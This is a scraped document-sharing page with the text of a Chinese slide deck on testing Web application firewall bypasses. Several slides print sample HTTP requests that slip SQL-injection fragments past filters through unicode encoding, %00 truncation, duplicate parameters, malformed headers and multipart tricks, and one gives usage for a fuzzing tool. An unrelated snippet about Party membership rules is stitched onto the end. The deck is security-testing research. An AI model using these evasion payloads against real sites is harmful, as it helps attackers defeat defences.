<4D F736F F F696E74202D DCEE2D7BFC8BA2DD3A6D3C3B7C0BBF0C7BDA3A A3A9C8C6B9FDB2E2CAD4BCBCCAF52E BBCE6C8DDC4A3CABD5D>

Size: px

Start display at page:

Download "<4D F736F F F696E74202D DCEE2D7BFC8BA2DD3A6D3C3B7C0BBF0C7BDA3A A3A9C8C6B9FDB2E2CAD4BCBCCAF52E BBCE6C8DDC4A3CABD5D>"

壹蚀松
5 years ago
Views:

1 应用防火墙 (WAF) 绕过测试技术 By 吴卓群

2 About Me About Me 目前就职于杭州安恒信息技术有限公司, 任信息安全服务部副总监高级安全研究员从事多年的 web 应用安全领域研究擅长漏洞发掘代码审计

3 WAF 现状 WAF 处理协议方式 WAF 绕过方法

4 Web 应用防火墙 (WAF) Web 应用防火墙是通过执行一系列针对 HTTP/HTTPS 的安全策略来专门为 Web 应用提供保护的一款产品, 目前技术已经相当成熟

5 WAF 的安全现状 WAF 是保护 WEB 应用安全的设备, 但缺乏足够的安全测试, 目前存在大量手段可完全绕过 WAF 的防护策略, 对保护站点进行攻击

6 针对 waf 的绕过手段可以通过不完善的策略进行绕过, 但风险更大的是利用解析错误彻底绕过保护国内外无论是硬件 WAF 还是云 WAF 至少 90% 以上存在彻底绕过的风险

7 WAF 现状 WAF 处理协议方式 WAF 绕过方法

8 应用防火墙常见构架 IPS 模式七层协议都通过程序解析, 程序为实现会话保持, 通代理模式常协议解码较弱利用或修改现有的 web 中间件实现代理, 并在中间件上增加防护模块实现防护总体性能不如 IPS 模式

9 WAF 的挑战 WAF 在 web 应用前可做为一个虚拟补丁, 保护各种中间件的安全不同中间件对协议解析有一些微小的区别 WAF 需要在所有这些差别下防护所有被保护的站点

10 HTTP 协议请求报文测试基础

11 GET 请求数据包样例 GET /member.php?username php?username=aaa&password=bbbbaaa&password HTTP/1.1\r\n1\r\n Accept: */*\r\n Accept-Language: zh-cn\r\n User-Agent: Mozilla/4.0\r\n Accept-Encoding: gzip, deflate\r\n Host: xxx.xxx.xxx\r\n Pragma: no-cache\r\n \r\n

12 POST 数据包样例 POST /member.php HTTP/1.1\r\n1\r\n Accept: */*\r\n Accept-Language: zh-cn\r\n User-Agent: Mozilla/4.0\r\n Content-Type: application/x-www-form-urlencode\r\n Accept-Encoding: gzip, deflate\r\n Host: xxx.xxx.xxx\r\n Content-Length: 118\r\n Pragma: no-cache\r\n \r\n username=fsdf&password=sdf&loginsubmit=true&return_type=

13 产生绕过的问题的根源 Waf 对数据包的解析和中间件的解析存在区别, 导致可能绕过 waf 测试方法使用协议级 fuzzing 发包进行测试, 判断返回代码, 通常被 waf 拦截后返回非 200 的响应码

14 WAF 现状 WAF 绕过方法 WAF 绕过方法

15 通过策略缺陷绕过 waf 防护部分绕过 waf 本次议题不详细讨论这部分

16 应用防火墙构架导致问题 IPS 模式分片问题巨大的 Content-Length, t th 导致设备 bypass 解码较弱代理模式使用高并发流量, 导致设备切换 bypass

17 解析方法差异通过编码绕过使用截断字符重复变量参数解析的异常针对域名的保护对 Content-type 的不同理解超大数据包变换变量位置 Post 不同解析方式异常数据包 Ajax 异步操作

18 利用编码绕过 POST /member.php HTTP/1.11 Accept: */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 Content-Type: application/x-www-form-urlencode Accept-Encoding: gzip, deflate Host: bbs.chinaunix.net Content-Length: 118 Pragma: no-cache username=%u0078%u0078%u0078%u0020%u0061%u006e%u0064%u0020 %u0031%u003d%u0031&password=sdf&loginsubmit=true&return_type=

19 正则的 %00 %0a ascii 00 截断 POST /member.php HTTP/1.1 1 Accept: */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 Content-Type: application/x-www-form-urlencode Accept-Encoding: gzip, deflate Host: bbs.chinaunix.net Content-Length: 118 Pragma: no-cache aaa=x%00&username=fsdf&password=sdf&loginsubmit=true&return_ty pe=

20 重复变量的绕过, 重复变量的变体 POST /member.php HTTP/1.1 Accept: */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 Content-Type: application/x-www-form-urlencode Accept-Encoding: gzip, deflate Host: bbs.chinaunix.net Content-Length: 118 Pragma: no-cache username=fsdf and username=fsdf and = &username=fsdf&password=sdf&loginsubmit=true&return_type=

21 利用 WAF 对参数解析的异常处理 POST /member.php HTTP/1.1 Accept: */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 Content-Type: application/x-www-form-urlencode Accept-Encoding: gzip, deflate Host: bbs.chinaunix.net Content-Length: 118 Pragma: no-cache Username%00=xxxx&username=xxx and Username%00=xxxx&username=xxx and = &password=sdf&loginsubmit=true&return_type=

22 绕过针对域名保护修改域名, 域名为空, 增加点号, 域名增加 tab 等手段 POST /member.php HTTP/1.1 Accept: */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 Content-Type: application/x-www-form-urlencode Accept-Encoding: gzip, deflate Host: Content-Length: 118 Pragma: no-cache username=fsdf&password=sdf&loginsubmit=true&return_type=

23 对 Content-Type 的不同理解 POST /member.php HTTP/1.11 Accept: */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 Content-Type: application/x-www-form-urlencodexxx Accept-Encoding: gzip, deflate Host: Content-Length: 118 Pragma: no-cache username=fsdf&password=sdf&loginsubmit=true&return_type=

24 超大数据包绕过防护 POST /member.php HTTP/1.1 1 Accept: */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 Content-Type: application/x-www-form-urlencode Accept-Encoding: gzip, deflate Host: xxx Content-Length: 118 Pragma: no-cache a=x {10000}&username=fsdf&password=sdf&loginsubmit=true&return _type=

25 变换变量位置绕过 POST /member.asp HTTP/1.1 1 Accept: */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 Content-Type: application/x-www-form-urlencode Accept-Encoding: gzip, deflate Host: xxx Content-Length: 118 Pragma: no-cache Cookie: username=fsdf password=sdf&loginsubmit=true&return_type=

26 利用不同 POST 的解析方式 POST / HTTP/1.1 Accept: */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 Content-Type: multipart/form-data; boundary= dc33b e Accept-Encoding: gzip, deflate Content-Length: 253 Host: xxxxx dc33b e Content-Disposition: form-data; name="username" Xxxx and 1= dc33b e Content-Disposition: form-data; name="password" ddddd dc33b e--

27 利用异常的数据包 POST / HTTP/1.1 Accept: */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 Content-Type: multipart/form-data; boundary= dc33b e Accept-Encoding: gzip, deflate Content-Length: 253 Host: xxxxx dc33b e Content-Disposition: form-data; name="username Xxxx and 1= dc33b e Content-Disposition: form-data; name="password" ddddd dc33b e--

28 Ajax 异步操作的特殊处理 POST /member.asp HTTP/1.11 Accept: */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 Content-Type: application/x-www-form-urlencode Accept-Encoding: gzip, deflate Host: xxx X-Requested-With: XMLHttpRequest Content-Length: 118 Pragma: no-cache username=fsdf and = &password=sdf&loginsubmit=true&return_type=

29 测试程序 waftest usage: waftest host port ruledir [action] host: destination host port: destination port ruledir: dir for test rules action: condition for waf protect response action args: RESPONSE_STATUS:regex RESPONSE_HEADER:regex RESPONSE_BODY:regex test for waf by Dbappsecurity Security Team

要及时为入党积极分子确定两名培养联系人, 进行联络帮助要定期 ( 每季度至少一次 ) 听取培养联系人的思想和工作情况汇报, 及时完成入党积极分子登记表 ( 见附件 2) 的填

要及时为入党积极分子确定两名培养联系人, 进行联络帮助要定期 ( 每季度至少一次 ) 听取培养联系人的思想和工作情况汇报, 及时完成入党积极分子登记表 ( 见附件 2) 的填中共兰州资源环境职业技术学院委员会文件兰资环院党发 2016 40 号关于进一步规范党员发展工作和从严管理党员的通知各系党总支支部 : 为进一步规范和加强发展党员工作, 从严管理党员, 确保发展党员质量, 提高各基层党组织的